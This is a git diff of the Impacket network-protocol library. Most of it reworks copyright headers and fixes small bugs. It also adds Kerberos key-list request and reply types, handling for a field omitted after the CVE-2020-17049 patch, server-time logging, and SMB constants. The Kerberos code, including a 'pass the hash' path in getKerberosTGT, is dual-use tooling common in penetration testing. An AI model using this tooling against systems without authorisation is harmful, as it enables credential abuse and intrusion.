@@ # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # -# Altered source by Alberto Solino (@agsolino) -# -# Changed some of the classes names to match the RFC 4120 -# Added [MS-KILE] data -# Adapted to Enum -# - - from pyasn1.type import tag, namedtype, univ, constraint, char, useful from . import constants @@ -502,3 +512,8 @@ class PA_PAC_OPTIONS(univ.Sequence): _sequence_component('flags', 0, KerberosFlags()), ) +class KERB_KEY_LIST_REQ(univ.SequenceOf): + componentType = Int32() + +class KERB_KEY_LIST_REP(univ.SequenceOf): + componentType = EncryptionKey() diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 3209f77659..011717210a 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # Kerberos Credential Cache format implementation # based on file format described at: @@ -13,6 +13,9 @@ # Pretty lame and quick implementation, not a fun thing to do # Contribution is welcome to make it the right way # +# Author: +# Alberto Solino (@agsolino) +# from __future__ import division from __future__ import print_function from datetime import datetime @@ -498,7 +501,9 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['authtime'])) credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['starttime'])) credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['endtime'])) - credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['renew-till'])) + # After KB4586793 for CVE-2020-17049 this timestamp may be omitted + if encTGSRepPart['renew-till'].hasValue(): + credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['renew-till'])) flags = self.reverseFlags(encTGSRepPart['flags']) credential['tktflags'] = flags diff --git a/impacket/krb5/constants.py b/impacket/krb5/constants.py index 75f7a56bd8..412a988d93 100644 --- a/impacket/krb5/constants.py +++ b/impacket/krb5/constants.py @@ -1,17 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # Constants for krb5.asn1 package. I took them out from the RFC plus -# some data from [MS-KILE] as well. +# some data from [MS-KILE] as well. # +# Author: +# Alberto Solino (@agsolino) # - from impacket.dcerpc.v5.enum import Enum def encodeFlags(flags): @@ -105,6 +106,8 @@ class PreAuthenticationDataTypes(Enum): PA_FX_FAST = 136 PA_FX_ERROR = 137 PA_ENCRYPTED_CHALLENGE = 138 + KERB_KEY_LIST_REQ = 161 + KERB_KEY_LIST_REP = 162 PA_SUPPORTED_ENCTYPES = 165 PA_PAC_OPTIONS = 167 @@ -442,6 +445,7 @@ class EncryptionTypes(Enum): rc4_hmac = 23 rc4_hmac_exp = 24 subkey_keymaterial = 65 + rc4_hmac_old_exp = -135 class ChecksumTypes(Enum): rsa_md5_des = 8 diff --git a/impacket/krb5/crypto.py b/impacket/krb5/crypto.py index d35fec7f1d..18f260d3f7 100644 --- a/impacket/krb5/crypto.py +++ b/impacket/krb5/crypto.py @@ -1,3 +1,13 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Copyright and license note from crypto.py: +# # Copyright (C) 2013 by the Massachusetts Institute of Technology. # All rights reserved. # @@ -25,7 +35,7 @@ # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED # OF THE POSSIBILITY OF SUCH DAMAGE. - +# from binascii import unhexlify from functools import reduce from os import urandom @@ -333,12 +343,12 @@ def XOR(l1,l2): tempkey[7] = chr(ord(tempkey[7]) ^ 0xF0) cipher = DES.new(b(tempkey), DES.MODE_CBC, b(tempkey)) - chekcsumkey = cipher.encrypt(s)[-8:] - chekcsumkey = fixparity(chekcsumkey) - if _is_weak_des_key(chekcsumkey): - chekcsumkey[7] = chr(ord(chekcsumkey[7]) ^ 0xF0) + checksumkey = cipher.encrypt(s)[-8:] + checksumkey = fixparity(checksumkey) + if _is_weak_des_key(checksumkey): + checksumkey[7] = chr(ord(checksumkey[7]) ^ 0xF0) - return Key(cls.enctype, chekcsumkey) + return Key(cls.enctype, checksumkey) @classmethod def basic_encrypt(cls, key, plaintext): diff --git a/impacket/krb5/gssapi.py b/impacket/krb5/gssapi.py index 647e7ac4c5..3fd617b5bd 100644 --- a/impacket/krb5/gssapi.py +++ b/impacket/krb5/gssapi.py @@ -1,17 +1,20 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # RFC 1964 Partial Implementation # RFC 4757 Partial Implementation # RFC 4121 Partial Implementation # RFC 3962 Partial Implementation - +# +# Author: +# Alberto Solino (@agsolino) +# import struct import random import string diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index 67b98271e8..57c5c42793 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -1,17 +1,19 @@ -# SECUREAUTH LABS. Copyright 2019 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # Helper functions for kerberos # Just starting, TONS of things to do # In fact, make it easier # - +# Author: +# Alberto Solino (@agsolino) +# import datetime import random import socket @@ -20,7 +22,8 @@ from pyasn1.codec.der import decoder, encoder from pyasn1.error import PyAsn1Error -from pyasn1.type.univ import noValue +from pyasn1.type.univ import noValue, Sequence +from pyasn1.type.useful import GeneralizedTime from six import b from binascii import unhexlify, hexlify @@ -75,6 +78,16 @@ def sendReceive(data, host, kdcHost): return r if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value: + try: + for i in decoder.decode(r): + if type(i) == Sequence: + for k in vars(i)["_componentValues"]: + if type(k) == GeneralizedTime: + server_time = datetime.datetime.strptime(k.asOctets().decode("utf-8"), "%Y%m%d%H%M%SZ") + LOG.debug("Server time (UTC): %s" % server_time) + except: + # Couldn't get server time for some reason + pass raise krbError return r @@ -228,7 +241,7 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH cipher = _enctype_table[enctype] # Pass the hash/aes key :P - if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''): + if isinstance(nthash, bytes) and nthash != b'': key = Key(cipher.enctype, nthash) elif aesKey != b'': key = Key(cipher.enctype, aesKey) diff --git a/impacket/krb5/keytab.py b/impacket/krb5/keytab.py index 6fb63aaa0f..3c569a0a62 100644 --- a/impacket/krb5/keytab.py +++ b/impacket/krb5/keytab.py @@ -1,4 +1,10 @@ -# Author: Patrick Welzel (@kcirtapw) +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # # Description: # Kerberos Keytab format implementation @@ -7,6 +13,9 @@ # As the ccache implementation, pretty lame and quick # Feel free to improve # +# Author: +# Patrick Welzel (@kcirtapw) +# from datetime import datetime from enum import Enum from six import b @@ -137,7 +146,7 @@ class KeytabEntryMainpart(Structure): keytab_entry { int32_t size; # wtf, signed size. what could possibly ... uint16_t num_components; /* sub 1 if version 0x501 */ |\ - counted_octet_string realm; | \ Keytab + counted_octet_string realm; | \\ Keytab counted_octet_string components[num_components]; | / Princial uint32_t name_type; /* not present if version 0x501 */ |/ uint32_t timestamp; diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index bafe1bab03..f01bc47f85 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -1,14 +1,17 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-PAC] Implementation # +# Author: +# Alberto Solino (@agsolino) +# from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index b4fe60bf83..d6a6cbc307 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -1,3 +1,13 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Copyright and license note from types.py: +# # Copyright (c) 2013, Marc Horowitz # All rights reserved. # @@ -23,7 +33,7 @@ # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - +# import datetime import socket import re @@ -196,7 +206,7 @@ def from_asn1(self, data): if (kvno is None) or (kvno.hasValue() is False): self.kvno = False else: - self.kvno = True + self.kvno = kvno self.ciphertext = str(data.getComponentByName('cipher')) return self diff --git a/impacket/ldap/__init__.py b/impacket/ldap/__init__.py index 2ae28399f5..c6d3ea51c5 100644 --- a/impacket/ldap/__init__.py +++ b/impacket/ldap/__init__.py @@ -1 +1,10 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: pass diff --git a/impacket/ldap/ldap.py b/impacket/ldap/ldap.py index 21ba775380..4b10b48bbf 100644 --- a/impacket/ldap/ldap.py +++ b/impacket/ldap/ldap.py @@ -1,12 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Authors: Alberto Solino (@agsolino) -# Kacper Nowak (@kacpern) -# # Description: # RFC 4511 Minimalistic implementation. We don't need much functionality yet # If we need more complex use cases we might opt to use a third party implementation @@ -14,10 +13,13 @@ # as we change them. # Adding [MS-ADTS] specific functionality # +# Authors: +# Alberto Solino (@agsolino) +# Kacper Nowak (@kacpern) +# # ToDo: -# [x] Implement Paging Search, especially important for big requests +# [x] Implement Paging Search, especially important for big requests # - import os import re import socket @@ -107,7 +109,7 @@ def __init__(self, url, baseDN='', dstIp=None): af, socktype, proto, _, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0] self._socket = socket.socket(af, socktype, proto) except socket.error as e: - raise socket.error('Connection error (%s:%d)' % (targetHost, 88), e) + raise socket.error('Connection error (%s:%d)' % (targetHost, self._dstPort), e) if self._SSL is False: self._socket.connect(sa) diff --git a/impacket/ldap/ldapasn1.py b/impacket/ldap/ldapasn1.py index 1125f8f5dc..4c55832eaa 100644 --- a/impacket/ldap/ldapasn1.py +++ b/impacket/ldap/ldapasn1.py @@ -1,12 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Authors: Alberto Solino (@agsolino) -# Kacper Nowak (@kacpern) -# # Description: # RFC 4511 Minimalistic implementation. We don't need much functionality yet # If we need more complex use cases we might opt to use a third party implementation @@ -14,7 +13,10 @@ # as we change them. # Adding [MS-ADTS] specific functionality # - +# Authors: +# Alberto Solino (@agsolino) +# Kacper Nowak (@kacpern) +# from pyasn1.codec.ber import encoder, decoder from pyasn1.type import univ, namedtype, namedval, tag, constraint diff --git a/impacket/ldap/ldaptypes.py b/impacket/ldap/ldaptypes.py index f3f8a03d3f..c4e27cadf4 100644 --- a/impacket/ldap/ldaptypes.py +++ b/impacket/ldap/ldaptypes.py @@ -1,16 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Structures and types used in LDAP -# Contains the Structures for the NT Security Descriptor (non-RPC format) and -# all ACL related structures +# Description: +# Structures and types used in LDAP +# Contains the Structures for the NT Security Descriptor (non-RPC format) and +# all ACL related structures # # Author: -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# +# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # from struct import unpack, pack from impacket.structure import Structure diff --git a/impacket/mapi_constants.py b/impacket/mapi_constants.py index 4a8eddce41..8df1fdde5f 100644 --- a/impacket/mapi_constants.py +++ b/impacket/mapi_constants.py @@ -1,17 +1,19 @@ -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Authors: -# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) -# -# Error codes taken from: -# [MS-OXCDATA] -# http://www.eventid.net/display-eventid-2115-source-MSExchangeDSAccess-eventno-4469-phase-1.htm +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # -# MAPI properties taken from: -# https://gist.github.com/mohemiv/76c265ac92ca026a10b7756899b5f8d5 (MIT) +# References: +# Error codes taken from: +# - [MS-OXCDATA] http://www.eventid.net/display-eventid-2115-source-MSExchangeDSAccess-eventno-4469-phase-1.htm +# MAPI properties taken from: +# - https://gist.github.com/mohemiv/76c265ac92ca026a10b7756899b5f8d5 (MIT) # ERROR_MESSAGES = { diff --git a/impacket/mqtt.py b/impacket/mqtt.py index 6a21616add..30752759cd 100644 --- a/impacket/mqtt.py +++ b/impacket/mqtt.py @@ -1,23 +1,27 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: -# Minimalistic MQTT implementation, just focused on connecting, subscribing and publishing basic -# messages on topics. +# Minimalistic MQTT implementation, just focused on connecting, subscribing and publishing basic +# messages on topics. +# +# Author: +# Alberto Solino (@agsolino) # # References: -# https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/mqtt-v3.1.1.html +# - https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/mqtt-v3.1.1.html # # ToDo: -# [ ] Implement all the MQTT Control Packets and operations -# [ ] Implement QoS = QOS_ASSURED_DELIVERY when publishing messages +# [ ] Implement all the MQTT Control Packets and operations +# [ ] Implement QoS = QOS_ASSURED_DELIVERY when publishing messages # + from __future__ import print_function import logging import struct diff --git a/impacket/nmb.py b/impacket/nmb.py index 73fc0849ee..3d7aa0fdaa 100644 --- a/impacket/nmb.py +++ b/impacket/nmb.py @@ -1,12 +1,15 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # - - -# -*- mode: python; tab-width: 4 -*- +# Author: +# Altered source done by Alberto Solino (@agsolino) +# +# Copyright and license note from Pysmb: # # Copyright (C) 2001 Michael Teo # nmb.py - NetBIOS library @@ -29,8 +32,6 @@ # # 3. This notice cannot be removed or altered from any source distribution. # -# Altered source done by Alberto Solino (@agsolino) - from __future__ import division from __future__ import print_function from __future__ import absolute_import @@ -912,6 +913,10 @@ def send_packet(self, data): def recv_packet(self, timeout = None): data = self.__read(timeout) + NBSPacket = NetBIOSSessionPacket(data) + if NBSPacket.get_type() == NETBIOS_SESSION_KEEP_ALIVE: + # Discard packet + return self.recv_packet(timeout) return NetBIOSSessionPacket(data) def _request_session(self, remote_type, local_type, timeout = None): diff --git a/impacket/nt_errors.py b/impacket/nt_errors.py index 7266c837bb..9e4da1c560 100644 --- a/impacket/nt_errors.py +++ b/impacket/nt_errors.py @@ -1,14 +1,17 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # NT STATUS Errors from [MS-ERREF]. Ideally all the files -# should grab the error codes from here (big ToDo) +# should grab the error codes from here (big ToDo) +# +# Author: +# Alberto Solino (@agsolino) # ERROR_MESSAGES = { diff --git a/impacket/ntlm.py b/impacket/ntlm.py index 9c64ff5fdf..bf26f1d6c3 100644 --- a/impacket/ntlm.py +++ b/impacket/ntlm.py @@ -1,9 +1,12 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # + from __future__ import division from __future__ import print_function import base64 @@ -138,8 +141,9 @@ def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, # If set, the domain name is provided (section 2.2.1.1).<25> An alternate name for this field is # NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = 0x00001000 -NTLMSSP_RESERVED_7 = 0x00000800 +# If set, the connection SHOULD be anonymous +NTLMSSP_NEGOTIATE_ANONYMOUS = 0x00000800 # If set, LM authentication is not allowed and only NT authentication is used. NTLMSSP_NEGOTIATE_NT_ONLY = 0x00000400 diff --git a/impacket/pcap_linktypes.py b/impacket/pcap_linktypes.py index c4a179d873..59126abee5 100644 --- a/impacket/pcap_linktypes.py +++ b/impacket/pcap_linktypes.py @@ -1,6 +1,8 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # diff --git a/impacket/pcapfile.py b/impacket/pcapfile.py index 8e22952ae8..c8b29eb641 100644 --- a/impacket/pcapfile.py +++ b/impacket/pcapfile.py @@ -1,6 +1,8 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # diff --git a/impacket/smb.py b/impacket/smb.py index 72601c3f25..f17503a7f1 100644 --- a/impacket/smb.py +++ b/impacket/smb.py @@ -1,9 +1,16 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # +# Author: +# Altered source done by Alberto Solino (@agsolino) +# +# Copyright and license note from Pysmb: +# # Copyright (C) 2001 Michael Teo # smb.py - SMB/CIFS library # @@ -25,19 +32,18 @@ # # 3. This notice cannot be removed or altered from any source distribution. # -# Altered source done by Alberto Solino (@agsolino) - # Todo: -# [ ] Try [SMB]transport fragmentation using Transact requests -# [ ] Try other methods of doing write (write_raw, transact2, write, write_and_unlock, write_and_close, write_mpx) -# [-] Try replacements for SMB_COM_NT_CREATE_ANDX (CREATE, T_TRANSACT_CREATE, OPEN_ANDX works -# [x] Fix forceWriteAndx, which needs to send a RecvRequest, because recv() will not send it -# [x] Fix Recv() when using RecvAndx and the answer comes splet in several packets -# [ ] Try [SMB]transport fragmentation with overlapping segments -# [ ] Try [SMB]transport fragmentation with out of order segments -# [x] Do chained AndX requests -# [ ] Transform the rest of the calls to structure -# [X] Implement TRANS/TRANS2 reassembly for list_path +# [ ] Try [SMB]transport fragmentation using Transact requests +# [ ] Try other methods of doing write (write_raw, transact2, write, write_and_unlock, write_and_close, write_mpx) +# [-] Try replacements for SMB_COM_NT_CREATE_ANDX (CREATE, T_TRANSACT_CREATE, OPEN_ANDX works +# [x] Fix forceWriteAndx, which needs to send a RecvRequest, because recv() will not send it +# [x] Fix Recv() when using RecvAndx and the answer comes splet in several packets +# [ ] Try [SMB]transport fragmentation with overlapping segments +# [ ] Try [SMB]transport fragmentation with out of order segments +# [x] Do chained AndX requests +# [ ] Transform the rest of the calls to structure +# [X] Implement TRANS/TRANS2 reassembly for list_path +# from __future__ import division from __future__ import print_function import os @@ -177,6 +183,60 @@ SMB_SET_FILE_BASIC_INFO = 0x0101 SMB_SET_FILE_END_OF_FILE_INFO = 0x0104 +# Device Type [MS-CIFS] 2.2.8.2.5 +FILE_DEVICE_BEEP = 0x0001 +FILE_DEVICE_CD_ROM = 0x0002 +FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x0003 +FILE_DEVICE_CONTROLLER = 0x0004 +FILE_DEVICE_DATALINK = 0x0005 +FILE_DEVICE_DFS = 0x0006 +FILE_DEVICE_DISK = 0x0007 +FILE_DEVICE_DISK_FILE_SYSTEM = 0x0008 +FILE_DEVICE_FILE_SYSTEM = 0x0009 +FILE_DEVICE_INPORT_PORT = 0x000a +FILE_DEVICE_KEYBOARD = 0x000b +FILE_DEVICE_MAILSLOT = 0x000c +FILE_DEVICE_MIDI_IN = 0x000d +FILE_DEVICE_MIDI_OUT = 0x000e +FILE_DEVICE_MOUSE = 0x000f +FILE_DEVICE_MULTI_UNC_PROVIDER = 0x0010 +FILE_DEVICE_NAMED_PIPE = 0x0011 +FILE_DEVICE_NETWORK = 0x0012 +FILE_DEVICE_NETWORK_BROWSER = 0x0013 +FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x0014 +FILE_DEVICE_NULL = 0x0015 +FILE_DEVICE_PARALLEL_PORT = 0x0016 +FILE_DEVICE_PHYSICAL_NETCARD = 0x0017 +FILE_DEVICE_PRINTER = 0x0018 +FILE_DEVICE_SCANNER = 0x0019 +FILE_DEVICE_SERIAL_MOUSE_PORT = 0x001a +FILE_DEVICE_SERIAL_PORT = 0x001b +FILE_DEVICE_SCREEN = 0x001c +FILE_DEVICE_SOUND = 0x001d +FILE_DEVICE_STREAMS = 0x001e +FILE_DEVICE_TAPE = 0x001f +FILE_DEVICE_TAPE_FILE_SYSTEM = 0x0020 +FILE_DEVICE_TRANSPORT = 0x0021 +FILE_DEVICE_UNKNOWN = 0x0022 +FILE_DEVICE_VIDEO = 0x0023 +FILE_DEVICE_VIRTUAL_DISK = 0x0024 +FILE_DEVICE_WAVE_IN = 0x0025 +FILE_DEVICE_WAVE_OUT = 0x0026 +FILE_DEVICE_8042_PORT = 0x0027 +FILE_DEVICE_NETWORK_REDIRECTOR = 0x0028 +FILE_DEVICE_BATTERY = 0x0029 +FILE_DEVICE_BUS_EXTENDER = 0x002a +FILE_DEVICE_MODEM = 0x002b +FILE_DEVICE_VDM = 0x002c + +# Device Characteristics [MS-CIFS] 2.2.8.2.5 +FILE_REMOVABLE_MEDIA = 0x0001 +FILE_READ_ONLY_DEVICE = 0x0002 +FILE_FLOPPY_DISKETTE = 0x0004 +FILE_WRITE_ONCE_MEDIA = 0x0008 +FILE_REMOTE_DEVICE = 0x0010 +FILE_DEVICE_IS_MOUNTED = 0x0020 +FILE_VIRTUAL_VOLUME = 0x0040 # File System Attributes FILE_CASE_SENSITIVE_SEARCH = 0x00000001 @@ -823,6 +883,15 @@ class SMBQueryFsVolumeInfo(Structure): ('Reserved',' 0: record = SMBFindFileBothDirectoryInfo(data = findData) shortname = record['ShortName'].decode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else \ - record['ShortName'].decode('latin-1') + record['ShortName'].decode('cp437') filename = record['FileName'].decode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else \ - record['FileName'].decode('latin-1') + record['FileName'].decode('cp437') fileRecord = SharedFile(record['CreationTime'], record['LastAccessTime'], record['LastChangeTime'], record['EndOfFile'], record['AllocationSize'], record['ExtFileAttributes'], diff --git a/impacket/smb3.py b/impacket/smb3.py index ed3c28e0d4..0f7e1b7f66 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-SMB2] Protocol Implementation (SMB2 and SMB3) # As you might see in the code, it's implemented strictly following @@ -14,16 +14,20 @@ # same to self._Session in the context of this library ) but # it certainly helps following the document way easier. # +# Author: +# Alberto Solino (@agsolino) +# # ToDo: -# [X] Implement SMB2_CHANGE_NOTIFY -# [X] Implement SMB2_QUERY_INFO -# [X] Implement SMB2_SET_INFO -# [ ] Implement SMB2_OPLOCK_BREAK -# [X] Implement SMB3 signing -# [X] Implement SMB3 encryption -# [ ] Add more backward compatible commands from the smb.py code -# [ ] Fix up all the 'ToDo' comments inside the code +# [X] Implement SMB2_CHANGE_NOTIFY +# [X] Implement SMB2_QUERY_INFO +# [X] Implement SMB2_SET_INFO +# [ ] Implement SMB2_OPLOCK_BREAK +# [X] Implement SMB3 signing +# [X] Implement SMB3 encryption +# [ ] Add more backward compatible commands from the smb.py code +# [ ] Fix up all the 'ToDo' comments inside the code # + from __future__ import division from __future__ import print_function diff --git a/impacket/smb3structs.py b/impacket/smb3structs.py index 14d55af774..a442e08d47 100644 --- a/impacket/smb3structs.py +++ b/impacket/smb3structs.py @@ -1,14 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # SMB 2 and 3 Protocol Structures and constants [MS-SMB2] # +# Author: +# Alberto Solino (@agsolino) +# + from __future__ import division from __future__ import print_function @@ -84,12 +88,12 @@ SMB2_GLOBAL_CAP_ENCRYPTION = 0x40 # Dialects -SMB2_DIALECT_002 = 0x0202 -SMB2_DIALECT_21 = 0x0210 -SMB2_DIALECT_30 = 0x0300 +SMB2_DIALECT_002 = 0x0202 +SMB2_DIALECT_21 = 0x0210 